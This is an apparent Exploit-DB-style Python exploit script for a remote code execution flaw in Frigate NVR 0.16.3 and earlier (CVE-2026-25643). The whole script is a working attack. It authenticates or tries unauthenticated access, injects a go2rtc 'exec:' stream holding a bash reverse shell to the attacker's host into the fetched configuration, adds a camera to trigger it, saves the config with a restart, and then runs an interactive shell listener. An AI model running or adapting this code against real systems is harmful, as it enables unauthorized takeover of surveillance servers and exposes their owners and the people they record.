Frigate NVR 0.16.3 - Remote Code Execution

# Exploit Title: Frigate NVR 0.16.3 - Remote Code Execution 
# Date: 2026-02-05
# Exploit Author: jduardo2704
# Vendor Homepage: https://frigate.video/
# Software Link: https://github.com/blakeblackshear/frigate
# Version: <= 0.16.3
# Tested on: Linux / Docker
# CVE: CVE-2026-25643
# Advisory: https://github.com/blakeblackshear/frigate/security/advisories/GHSA-4c97-5jmr-8f6x

import requests
import argparse
import sys
import json
import urllib3
import yaml
import time
import socket
import threading
import select
import re

# Silence SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Colors
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
RESET = '\033[0m'

# Event to synchronize the listener with the exploit thread
exploit_ready = threading.Event()

def print_status(msg, color=BLUE, symbol="[*]"):
    print(f"{color}{symbol} {msg}{RESET}")

def login_frigate(session, url, username, password):
    try:
        print_status(f"Authenticating as {username}...", BLUE)
        res = session.post(f"{url}/api/login", json={"user": username, "password": password}, verify=False, timeout=10)
        return res.status_code == 200
    except:
        return False

def get_config(session, url):
    try:
        res = session.get(f"{url}/api/config/raw", timeout=10)
        content = res.text.strip()
        if content.startswith('"'):
            try:
                config_raw = json.loads(content)
            except:
                config_raw = content
        else:
            config_raw = content
            
        return yaml.safe_load(config_raw)
    except:
        return None

def send_payload(session, url, data):
    final_yaml = yaml.dump(data)
    try:
        session.post(
            f"{url}/api/config/save?save_option=restart", 
            data=final_yaml, 
            headers={"Content-Type": "text/plain"}, 
            timeout=5 
        )
    except:
        pass 

def inject_and_exploit(url, username, password, lhost, lport):
    """Function to run in background thread"""
    session = requests.Session()
    session.verify = False

    # 1. AUTHENTICATION LOGIC
    if username and password:
        if not login_frigate(session, url, username, password):
            print_status("Login failed with provided credentials.", RED, "[-]")
            sys.exit(1) 
        print_status("Logged in successfully.", BLUE)
    else:
        print_status("No credentials provided. Trying unauthenticated access...", YELLOW)

    # 2. CONFIG RETRIEVAL & VALIDATION
    print_status("Fetching configuration...", BLUE)
    config = get_config(session, url)
    
    if not config or not isinstance(config, dict):
        print_status("Failed to retrieve a valid configuration dictionary.", RED, "[-]")
        print_status("Target might be authenticated or API is restricted.", RED, "[-]")
        sys.exit(1)

    # 3. PAYLOAD PREPARATION
    try:
        payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
        
        # Inject go2rtc
        if 'go2rtc' not in config or config['go2rtc'] is None: config['go2rtc'] = {}
        if 'streams' not in config['go2rtc'] or config['go2rtc']['streams'] is None: config['go2rtc']['streams'] = {}
        config['go2rtc']['streams']['cve_poc'] = [f"exec:{payload}"]

        # Inject camera trigger
        if 'cameras' not in config or config['cameras'] is None: config['cameras'] = {}
        config['cameras']['cve_trigger'] = {
            'ffmpeg': {'inputs': [{'path': 'rtsp://127.0.0.1:8554/cve_poc', 'roles': ['detect']}]},
            'detect': {'enabled': False},
            'audio': {'enabled': False}, 
            'enabled': True
        }
        
        print_status("Payload injected into config structure.", GREEN, "[+]")

        # 4. SIGNAL LISTENER TO START
        exploit_ready.set()
        time.sleep(5) 
        print_status("Sending malicious config & triggering restart...", YELLOW)
        send_payload(session, url, config)

    except Exception as e:
        print_status(f"Error during payload injection: {e}", RED, "[-]")
        sys.exit(1)

def shell_handler(lport):
    """Handles the incoming reverse shell connection"""
    
    print_status("Waiting for validation...", BLUE)
    if not exploit_ready.wait(timeout=20): 
        print_status("Timeout waiting for exploit thread validation.", RED, "[-]")
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
    try:
        s.bind(('0.0.0.0', int(lport)))
        s.listen(1)
        print_status(f"Validation OK. Listening on 0.0.0.0:{lport}...", GREEN, "[+]")
        s.settimeout(60) 
        
        try:
            conn, addr = s.accept()
            print_status(f"Connection received from {addr[0]}!", GREEN, "[+]")
            print(f"{YELLOW}--- SHELL ESTABLISHED ---\n{RESET}")
            
            s.settimeout(None) 
            conn.settimeout(None)

            while True:
                r, _, _ = select.select([sys.stdin, conn], [], [])
                
                if conn in r:
                    data = conn.recv(4096)
                    if not data: break
                    
                    # CLEAN OUTPUT LOGIC
                    output = data.decode(errors='ignore')
                    
                    # Remove annoying bash TTY errors using Regex
                    # Matches "bash: cannot set terminal process group (PID): Inappropriate ioctl..."
                    output = re.sub(r"bash: cannot set terminal process group \(\d+\): Inappropriate ioctl for device\r?\n?", "", output)
                    # Matches "bash: no job control in this shell"
                    output = output.replace("bash: no job control in this shell\r\n", "")
                    output = output.replace("bash: no job control in this shell\n", "")
                    
                    sys.stdout.write(output)
                    sys.stdout.flush()
                    
                if sys.stdin in r:
                    cmd = sys.stdin.readline()
                    conn.send(cmd.encode())

        except socket.timeout:
            print_status("Exploit sent but no connection received (Timeout > 60s).", RED, "[-]")

    except KeyboardInterrupt:
        print_status("\nClosing connection.", RED)
    except Exception as e:
        print_status(f"Listener error: {e}", RED)
    finally:
        s.close()

def main():
    parser = argparse.ArgumentParser(description="Frigate <= 0.16.3 RCE (Auto-Shell) - CVE-2026-25643")
    parser.add_argument('-u', '--url', required=True, help="Target URL")
    parser.add_argument('-U', '--username', required=False, help="Username (optional)")
    parser.add_argument('-P', '--password', required=False, help="Password (optional)")
    parser.add_argument('-lh', '--lhost', required=True, help="Your IP (LHOST)")
    parser.add_argument('-lp', '--lport', required=True, help="Your Port (LPORT)")
    args = parser.parse_args()

    exploit_thread = threading.Thread(
        target=inject_and_exploit, 
        args=(args.url.rstrip('/'), args.username, args.password, args.lhost, args.lport)
    )
    exploit_thread.daemon = True
    exploit_thread.start()

    shell_handler(args.lport)

if __name__ == "__main__":
    main()